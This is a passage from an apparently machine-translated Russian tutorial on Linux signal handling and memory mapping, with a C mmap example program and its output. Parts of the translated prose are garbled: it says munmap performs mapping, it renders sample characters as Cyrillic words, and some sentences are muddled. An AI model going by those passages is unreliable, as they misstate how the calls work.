      printf("\nReceived signal number %d\n", signum);
      break;
   }
   return;
}

Давайте посмотрим процесс компиляции и выполнения. В процессе выполнения, давайте посмотрим дважды на CTRL + C, оставшиеся проверки / способы (как указано выше) можно попробовать и для этой программы.

Шаги компиляции и выполнения

To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C

Отображение памяти

Системный вызов mmap () обеспечивает отображение в виртуальном адресном пространстве вызывающего процесса, который отображает файлы или устройства в память. Это двух типов -

Отображение файла или отображение на основе файла - это отображение отображает область виртуальной памяти процесса в файлы. Это означает, что чтение или запись в эти области памяти приводит к чтению или записи файла. Это тип отображения по умолчанию.

Анонимное сопоставление - это сопоставление отображает область виртуальной памяти процесса без поддержки какого-либо файла. Содержимое инициализируется до нуля. Это отображение похоже на динамическое распределение памяти (malloc ()) и используется в некоторых реализациях malloc () для определенных распределений.

Память в одном отображении процесса может использоваться совместно с отображениями в других процессах. Это можно сделать двумя способами -

  • Когда два процесса отображают одну и ту же область файла, они совместно используют одни и те же страницы физической памяти.

  • Если дочерний процесс создан, он наследует сопоставления родителя, и эти сопоставления ссылаются на те же страницы физической памяти, что и родительский. При любом изменении данных в дочернем процессе будут созданы разные страницы для дочернего процесса.

Когда два или более процессов совместно используют одни и те же страницы, каждый процесс может видеть изменения содержимого страницы, сделанные другими процессами, в зависимости от типа отображения. Тип отображения может быть частным или общим -

Частное сопоставление (MAP_PRIVATE) - изменения содержимого этого сопоставления не видны другим процессам, и сопоставление не переносится в базовый файл.

Общее сопоставление (MAP_SHARED) - изменения содержимого этого сопоставления видны другим процессам, и сопоставление переносится в базовый файл.

#include <sys/mman.h>

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

Приведенный выше системный вызов возвращает начальный адрес сопоставления в случае успеха или MAP_FAILED в случае ошибки.

Виртуальный адрес addr может быть задан пользователем или сгенерирован ядром (при передаче addr как NULL ). Указанная длина поля требует размера отображения в байтах. Поле prot указывает значения защиты памяти, такие как PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC, предназначенные для областей, к которым нельзя получить доступ, прочитать, записать или выполнить соответственно. Это значение может быть одинарным (PROT_NONE) или ORd с любым из трех флагов (последние 3). Флаги поля указывают тип отображения либо MAP_PRIVATE, либо MAP_SHARED. Поле «fd» указывает дескриптор файла, идентифицирующий файл, который должен быть отображен, а поле «смещение» подразумевает начальную точку файла, если необходимо отобразить весь файл, смещение должно быть равно нулю.

#include <sys/mman.h>

int munmap(void *addr, size_t length);

Приведенный выше системный вызов возвращает 0 в случае успеха или -1 в случае ошибки.

Системный вызов munmap, выполняет сопоставление уже отображенной области памяти. Поля addr указывают начальный адрес отображения, а длина указывает размер в байтах сопоставления, которое должно быть отображено. Как правило, сопоставление и снятие сопоставления было бы для всех отображаемых областей. Если это должно быть иначе, то это должно быть или сжато или сокращено на две части. Если адрес не имеет отображений, этот вызов не будет иметь эффекта, и вызов вернет 0 (успех).

Давайте рассмотрим пример -

Шаг 1 - Запишите в файл буквенно-цифровые символы, как показано ниже -

0 1 2 ... 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ... 59 60 61
В С ... Z 0 1 2 3 4 5 6 7 8 9 б с ... Икс Y Z

Шаг 2 - отобразить содержимое файла в память с помощью системного вызова mmap (). Это вернет начальный адрес после сопоставления в памяти.

Шаг 3 - Доступ к содержимому файла с использованием нотации массива (можно также получить доступ с нотацией указателя), так как не читает дорогой системный вызов read () Используя отображение памяти, избегайте многократного копирования между пользовательским пространством, буферами пространства ядра и буферным кешем.

Шаг 4 - Повторяйте чтение содержимого файла, пока пользователь не введет «-1» (означает конец доступа).

Шаг 5 - Выполните действия по очистке, т. Е. Отключите отображенную область памяти (munmap ()), закройте файл и удалите файл.

/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();

int main() {
   struct stat mmapstat;
   char *data;
   int minbyteindex;
   int maxbyteindex;
   int offset;
   int fd;
   int unmapstatus;
   write_mmap_sample_data();
   if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
      perror("stat failure");
      return 1;
   }
   
   if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
      perror("open failure");
      return 1;
   }
   data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
   
   if (data == (caddr_t)(-1)) {
      perror("mmap failure");
      return 1;
   }
   minbyteindex = 0;
   maxbyteindex = mmapstat.st_size - 1;
   
   do {
      printf("Enter -1 to quit or ");
      printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
      scanf("%d",&offset);
      if ( (offset >= 0) && (offset <= maxbyteindex) )
      printf("Received char at %d is %c\n", offset, data[offset]);
      else if (offset != -1)
      printf("Received invalid index %d\n", offset);
   } while (offset != -1);
   unmapstatus = munmap(data, mmapstat.st_size);
   
   if (unmapstatus == -1) {
      perror("munmap failure");
      return 1;
   }
   close(fd);
   system("rm -f MMAP_DATA.txt");
   return 0;
}

void write_mmap_sample_data() {
   int fd;
   char ch;
   struct stat textfilestat;
   fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
   if (fd == -1) {
      perror("File open error ");
      return;
   }
   // Write A to Z
   ch = 'A';
   
   while (ch <= 'Z') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   // Write 0 to 9
   ch = '0';
   
   while (ch <= '9') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   // Write a to z
   ch = 'a';
   
   while (ch <= 'z') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   close(fd);
   return;
}

Выход

Enter -1 to quit or enter a number between 0 and 61: 3 
Received char at 3 is D 
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2 
Enter -1 to quit or enter a number between 0 and 61: 38 
Received char at 38 is c 
Enter -1 to quit or enter a number between 0 and 61: 59 
Received char at 59 is x 
Enter -1 to quit or enter a number between 0 and 61: 65 
Received invalid index 65 
Enter -1 to quit or enter a number between 0 and 61: -99 
Received invalid index -99 
Enter -1 to quit or enter a number between 0 and 61: -1